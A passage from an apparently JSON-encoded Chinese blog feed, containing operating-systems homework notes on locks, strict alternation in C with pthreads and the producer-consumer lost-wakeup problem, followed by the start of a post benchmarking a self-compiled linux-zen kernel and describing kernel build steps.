RET;\u003c/code\u003e 可分析出 \u003ccode\u003e#1\u003c/code\u003e 是没上锁,\u003ccode\u003e#0\u003c/code\u003e 是上锁了。\u003cbr\u003e\n\u003ccode\u003eXCHG\u003c/code\u003e 可以互换两个寄存器的值,如果第一个空填入的是 \u003ccode\u003e#1\u003c/code\u003e ,那么无论如何,判断都是没上锁。所以第一个空填入 \u003ccode\u003e#0\u003c/code\u003e 。\u003cbr\u003e\n第二个和第三个空是忙等待的东西,分别填的是 \u003ccode\u003ethread_yield\u003c/code\u003e (找另外一个进程)和 \u003ccode\u003eenter_region\u003c/code\u003e 。\u003cbr\u003e\n第四个空填入 \u003ccode\u003e#1\u003c/code\u003e ,用完了就解锁。\u003c/p\u003e\n\u003cp\u003e概念 互斥访问策略\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e关闭中断。(单 CPU 有效)\u003c/li\u003e\n\u003cli\u003e锁变量与忙等待。\u003c/li\u003e\n\u003cli\u003e严格轮换。\u003c/li\u003e\n\u003cli\u003ePeterson 算法。\u003c/li\u003e\n\u003cli\u003e汇编 \u003ccode\u003eTSL\u003c/code\u003e 指令。\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"严格轮换机制作业\"\u003e严格轮换机制作业\u003c/h3\u003e\n\u003cp\u003e请修改附件中的代码,实现strict alternation机制(注要能够运行)。此外需要说明程序中那个部分是关键区,以及它为什么是关键区。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-C\" data-lang=\"C\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;pthread.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;stdlib.h\u0026gt;\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e#include\u003c/span\u003e \u003cspan class=\"cpf\"\u003e\u0026lt;unistd.h\u0026gt; // For sleep().\u003c/span\u003e\u003cspan class=\"cp\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cp\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Critical region, because both threads needs to access this.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Lock Variable\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003eturn\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// Thread 2.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"nf\"\u003eth\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ep\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\u003cspan class=\"p\"\u003e{\u003c/span\u003e \n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eturn\u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"cm\"\u003e/*loop*/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nf\"\u003esleep\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// Access Critical Region\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\t\u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;a=%d haha\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"c1\"\u003e// Stop access.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\t\u003cspan class=\"n\"\u003eturn\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// Change mark.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \t\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003emain\u003c/span\u003e\u003cspan class=\"p\"\u003e()\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003epthread_t\u003c/span\u003e \u003cspan class=\"n\"\u003emyth\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003epthread_create\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003emyth\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003eth\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"nb\"\u003eNULL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Thread 1.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"k\"\u003ewhile\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eturn\u003c/span\u003e\u003cspan class=\"o\"\u003e!=\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e \u003cspan class=\"cm\"\u003e/*loop*/\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\t\t\u003cspan class=\"nf\"\u003esleep\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// Access Critical Region.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\t\u003cspan class=\"nf\"\u003eprintf\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;a=%d hehe\u003c/span\u003e\u003cspan class=\"se\"\u003e\\n\u003c/span\u003e\u003cspan class=\"s\"\u003e\u0026#34;\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e\u003cspan class=\"n\"\u003ea\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\u003cspan class=\"c1\"\u003e// Stop access.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\t\t\u003cspan class=\"n\"\u003eturn\u003c/span\u003e\u003cspan class=\"o\"\u003e=\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e \u003cspan class=\"c1\"\u003e// Change mark.\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e以下是编译运行方式。\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003egcc thread.c -lpthread -o thread \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e ./thread\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003eps -aux \u003cspan class=\"p\"\u003e|\u003c/span\u003e grep thread \u003cspan class=\"c1\"\u003e# 记下 pid 号码\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003etop -H -p PID \u003cspan class=\"c1\"\u003e# 查看该 PID 对应的线程状态\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e本程序的关键区是 \u003ccode\u003ea\u003c/code\u003e 和 \u003ccode\u003eturn\u003c/code\u003e ,因为它是两个进程共享的数据区域。其中 \u003ccode\u003ea\u003c/code\u003e 是两个进程互相访问的数据区,turn 是锁变量。\u003c/p\u003e\n\u003ch3 id=\"生产者和消费者问题\"\u003e生产者和消费者问题\u003c/h3\u003e\n\u003cp\u003e阅读代码,看看有啥问题。\u003c/p\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://s2.loli.net/2022/08/01/M7awq2niZU4m5LY.png\" \u003e\n\t\t\u003cimg src=\"https://s2.loli.net/2022/08/01/M7awq2niZU4m5LY.png\"\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\tloading=\"lazy\"\n\t\t\t\u003e\n\t\u003c/a\u003e\n\t\n\u003c/figure\u003e\u003c/p\u003e\n\u003cp\u003e在单核 CPU 上:\u003c/p\u003e\n\u003cp\u003e先执行消费者进程:\u003cbr\u003e\n发现仓库里没有东西,准备睡眠。但是还没睡眠,进程切换到生产者了。\u003cbr\u003e\n生产者开始生产产品,发现仓库里有东西,向消费者进程发出唤醒信号。进程切换到消费者。\u003cbr\u003e\n消费者进程是醒着的,只是准备睡眠,把唤醒信号忽略掉,然后睡眠了,退出了 CPU 。\u003cbr\u003e\n最后生产者把仓库填满了,也睡了。两个进程都睡了:-P\u003c/p\u003e\n\u003cp\u003e如果目前仓库满了:\u003cbr\u003e\n生产者决定睡眠,但还没睡,进程切换到消费者了。\u003cbr\u003e\n消费者用了一个产品,发现仓库里数量为 N-1,唤醒生产者。\u003cbr\u003e\n生产者忽略了唤醒信号,睡眠。\u003cbr\u003e\n消费者用完了所有东西,也睡了:-P\u003c/p\u003e\n\u003cp\u003e要点:准备睡眠时切换进程了,唤醒信号被忽略。\u003c/p\u003e\n\u003ch3 id=\"mutex互斥锁和-semaphore信号量的不同\"\u003eMutex(互斥锁)和 Semaphore(信号量)的不同\u003c/h3\u003e\n\u003cp\u003eMutex 实现在用户态,代价低,数量上限高。Semaphore 实现在内核态,代价高,数量上限低。\u003c/p\u003e\u003chr /\u003e","url":"https://www.superbart.top/p/operating-system-1-thread.html"},{"title":"自己编译 Linux 内核,好像一点用都没有?","time":"2022-02-11T00:00:00Z","content":"\u003cimg src=\"https://s2.loli.net/2022/08/01/HuqXCyzwJA3N2kE.jpg\" alt=\"Featured image of post 自己编译 Linux 内核,好像一点用都没有?\" /\u003e\u003ch2 id=\"目录\"\u003e目录\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e为什么我要自己编译内核~ Linux 内核的多元化\u003c/li\u003e\n\u003cli\u003e为啥自己编译没用~性能对比和优劣势对比\u003c/li\u003e\n\u003cli\u003e如何加速内核编译~使用 modprobed-db 精简驱动模块\u003c/li\u003e\n\u003cli\u003e我到底配置了啥~给大家看看我改过的内核配置\u003c/li\u003e\n\u003cli\u003e结尾\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2 id=\"为什么我要自己编译内核-linux-内核的多元化\"\u003e为什么我要自己编译内核~ Linux 内核的多元化\u003c/h2\u003e\n\u003cp\u003e很简单,下学期我有门课,叫“操作系统”,据说需要编译内核。实际上我之前编译过,但是我没有接触过设置,这回想看看我能设置啥。\u003cbr\u003e\n不过我最讨厌学习了,所以接下来的才是真正原因233\u003cbr\u003e\n我玩《黑山起源》,玩起来很卡。游戏设置当然是调了,但根据我之前压制视频,我觉得是内核没有把我的核显和 CPU 压榨干净(我的电脑是轻薄本)。之前看过很多帖子,说用了特制内核,跑起来能快一些。\u003cbr\u003e\n这里,我提到了“特制内核”。因为 Linux 内核是开源的,自然,有人魔改了很多版本。这里介绍四个版本:\u003c/p\u003e\n\u003col\u003e\n\u003cli\u003e长期支持版(LTS),为了稳定而优化的版本,相当于 Windows 的 LTSC 版。一般出现在 CentOS 和 Ubuntu 上面。\u003c/li\u003e\n\u003cli\u003elinux-zen,为了桌面电脑而进行过性能优化。我日用这个版本。\u003c/li\u003e\n\u003cli\u003elinux-hardened,为了系统安全而优化的版本。\u003c/li\u003e\n\u003cli\u003elinux-libre,为了代码的绝对自由而砍掉了很多驱动。\u003c/li\u003e\n\u003c/ol\u003e\n\u003cp\u003e当然,如果你是为了应付操作系统实验,我建议你还是使用原版吧。首先,网上教程丰富,其次,代码简单易得。\u003c/p\u003e\n\u003ch2 id=\"为啥自己编译没用性能对比\"\u003e为啥自己编译没用~性能对比\u003c/h2\u003e\n\u003cp\u003e鉴于我编译内核,最主要的出发点是加速游戏运行,自然我得提供这方面的数据了。\u003cbr\u003e\n我的自制内核,基于 linux-zen 内核,精简了很多没必要的驱动,以及在电脑管理模块强制使用性能模式,并根据我的处理器型号(AMD Ryzen 4750U),使用了\u0026quot;Zen 2\u0026quot;性能优化。\u003cbr\u003e\n以下跑分均在我的电脑上进行,型号是 Thinkpad T14 ,系统是最新的 Arch Linux ,在接电情况下进行。\u003cbr\u003e\n首先是GeekBench(下称GB)的跑分成绩:\u003c/p\u003e\n\u003ctable\u003e\n\t\u003ctr\u003e\n\t\t\u003cth rowspan=\"2\"\u003e测试次数\u003c/th\u003e\n\t\t\u003cth colspan=\"3\"\u003e原版 zen 内核\u003c/th\u003e\n\t\t\u003cth colspan=\"3\"\u003e自制 zen 内核\u003c/th\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003cth\u003e单核成绩\u003c/th\u003e\n\t\t\u003cth\u003e多核成绩\u003c/th\u003e\n\t\t\u003cth\u003eGB 数据库编号\u003c/th\u003e\n\t\t\u003cth\u003e单核成绩\u003c/th\u003e\n\t\t\u003cth\u003e多核成绩\u003c/th\u003e\n\t\t\u003cth\u003eGB 数据库编号\u003c/th\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e1\u003c/td\u003e\n\t\t\u003ctd\u003e1204\u003c/td\u003e\n\t\t\u003ctd\u003e5038\u003c/td\u003e\n\t\t\u003ctd\u003e12522767\u003c/td\u003e\n\t\t\u003ctd\u003e1209\u003c/td\u003e\n\t\t\u003ctd\u003e5112\u003c/td\u003e\n\t\t\u003ctd\u003e12523274\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e2\u003c/td\u003e\n\t\t\u003ctd\u003e1191\u003c/td\u003e\n\t\t\u003ctd\u003e5090\u003c/td\u003e\n\t\t\u003ctd\u003e12522823\u003c/td\u003e\n\t\t\u003ctd\u003e1209\u003c/td\u003e\n\t\t\u003ctd\u003e5119\u003c/td\u003e\n\t\t\u003ctd\u003e12523312\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e3\u003c/td\u003e\n\t\t\u003ctd\u003e1214\u003c/td\u003e\n\t\t\u003ctd\u003e5087\u003c/td\u003e\n\t\t\u003ctd\u003e12522819\u003c/td\u003e\n\t\t\u003ctd\u003e1208\u003c/td\u003e\n\t\t\u003ctd\u003e5109\u003c/td\u003e\n\t\t\u003ctd\u003e12522353\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e4\u003c/td\u003e\n\t\t\u003ctd\u003e1206\u003c/td\u003e\n\t\t\u003ctd\u003e5070\u003c/td\u003e\n\t\t\u003ctd\u003e12522915\u003c/td\u003e\n\t\t\u003ctd\u003e1207\u003c/td\u003e\n\t\t\u003ctd\u003e5126\u003c/td\u003e\n\t\t\u003ctd\u003e12523397\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e5\u003c/td\u003e\n\t\t\u003ctd\u003e1215\u003c/td\u003e\n\t\t\u003ctd\u003e5086\u003c/td\u003e\n\t\t\u003ctd\u003e12522951\u003c/td\u003e\n\t\t\u003ctd\u003e1204\u003c/td\u003e\n\t\t\u003ctd\u003e5126\u003c/td\u003e\n\t\t\u003ctd\u003e12523431\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e6\u003c/td\u003e\n\t\t\u003ctd\u003e1217\u003c/td\u003e\n\t\t\u003ctd\u003e5092\u003c/td\u003e\n\t\t\u003ctd\u003e12522998\u003c/td\u003e\n\t\t\u003ctd\u003e1212\u003c/td\u003e\n\t\t\u003ctd\u003e5098\u003c/td\u003e\n\t\t\u003ctd\u003e12523485\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e平均成绩\u003c/td\u003e\n\t\t\u003ctd\u003e1208\u003c/td\u003e\n\t\t\u003ctd\u003e5077\u003c/td\u003e\n\t\t\u003ctd\u003e-\u003c/td\u003e\n\t\t\u003ctd\u003e1208\u003c/td\u003e\n\t\t\u003ctd\u003e5115\u003c/td\u003e\n\t\t\u003ctd\u003e-\u003c/td\u003e\n\t\u003c/tr\u003e\t\n\u003c/table\u003e\n\u003cp\u003e接下来是《半条命2:失落的海岸线》(与《黑山起源》同为起源引擎)的跑分成绩,单位是 FPS:\u003c/p\u003e\n\u003ctable\u003e\n\t\u003ctr\u003e\n\t\t\u003cth\u003e测试次数\u003c/th\u003e\n\t\t\u003cth\u003e原版 zen 内核\u003c/th\u003e\n\t\t\u003cth\u003e自制 zen 内核\u003c/th\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e1\u003c/td\u003e\n\t\t\u003ctd\u003e155.31\u003c/td\u003e\n\t\t\u003ctd\u003e151.91\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e2\u003c/td\u003e\n\t\t\u003ctd\u003e137.70\u003c/td\u003e\n\t\t\u003ctd\u003e139.08\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e3\u003c/td\u003e\n\t\t\u003ctd\u003e137.63\u003c/td\u003e\n\t\t\u003ctd\u003e141.41\u003c/td\u003e\n\t\u003c/tr\u003e\n\t\u003ctr\u003e\n\t\t\u003ctd\u003e平均FPS\u003c/td\u003e\n\t\t\u003ctd\u003e143.5\u003c/td\u003e\n\t\t\u003ctd\u003e144.1\u003c/td\u003e\n\t\u003c/tr\u003e\n\u003c/table\u003e\n\u003cp\u003e由上可见,虽然自编译内核相较原版内核,有一定的性能提升,但是提升幅度不大。而我还发现,使用强制性能模式会导致电脑风扇长时间运行,CPU 过热现象明显。而在新内核下运行《黑山起源》,我觉得流畅度有些微提升,至少没有之前那么卡了。但是我高度怀疑这是某种安慰剂效应。\u003cbr\u003e\n所以,自行编译内核并没有达到我的需求。但这不意味着我白搞了一通,至少编译内核速度快了。\n补充说明:我当时玩的是《黑山起源》的 Linux 版本,那个版本被很多的 ProtonDB 用户评为垃圾水平,因为在 AMDGPU 上会有贴图故障,而且不太更新。详情看这个。\n好了,进入我这篇文章的宝藏部分捏。\u003c/p\u003e\n\u003ch2 id=\"如何加速内核编译使用-modprobed-db-精简驱动模块\"\u003e如何加速内核编译~使用 modprobed-db 精简驱动模块\u003c/h2\u003e\n\u003cp\u003e\u003ca class=\"link\" href=\"https://github.com/graysky2/modprobed-db\" target=\"_blank\" rel=\"noopener\"\n \u003emodprobed-db\u003c/a\u003e 是一个 bash 脚本,他能侦测你系统目前所使用的模块,并记录下来。在编译内核的时候,程序只会编译我们使用过的驱动模块,加速编译速度,减少内核体积。\u003c/p\u003e\n\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003e注意\u003c/strong\u003e:使用这个软件,可能会精简驱动过头,导致使用不便。请各位打算使用前,最好稍微了解一下内核配置选项。本人仅在 Arch Linux 下运行过这个软件,如果你用的是 Ubuntu 等系统,使用有问题的话,请跟我说一下。\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3 id=\"过一下编译内核的一般步骤\"\u003e过一下编译内核的一般步骤\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e电脑装好编译环境,一般包括 gcc,make 等。Arch Linux 是要安装上 \u003ccode\u003ebase-devel\u003c/code\u003e 软件包组和 \u003ccode\u003egcc\u003c/code\u003e 。\u003c/li\u003e\n\u003cli\u003e你需要拖下来最新稳定版的内核源代码,然后进入源代码文件夹:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ git clone https://mirrors.tuna.tsinghua.edu.cn/git/linux-stable.git \u003cspan class=\"c1\"\u003e# 这里使用了清华镜像\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ \u003cspan class=\"nb\"\u003ecd\u003c/span\u003e linux-stable\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003col start=\"3\"\u003e\n\u003cli\u003e使用以下任意一个命令,配置内核参数:\u003c/li\u003e\n\u003c/ol\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-bash\" data-lang=\"bash\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ make nconfig \u003cspan class=\"c1\"\u003e# 命令行界面配置\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e$ make xconfig \u003cspan class=\"c1\"\u003e# 图形化界面配置(使用 QT )\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cblockquote\u003e\n\u003cp\u003e\u003cstrong\u003e注意\u003c/strong\u003e: 很多教程是用make config配置内核,本人不推荐。界面太原始就算了,在 Arch Wiki 上面被标记为\u0026quot;被 nconfig 取代\u0026quot;\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e\u003cfigure \n\t\u003e\n\t\u003ca href=\"https://legacy.superbart.top/picture/Compile%20Linux%20Kernel%20is%20Useless/Power%20Preformance.jpg\" \u003e\n\t\t\u003cimg 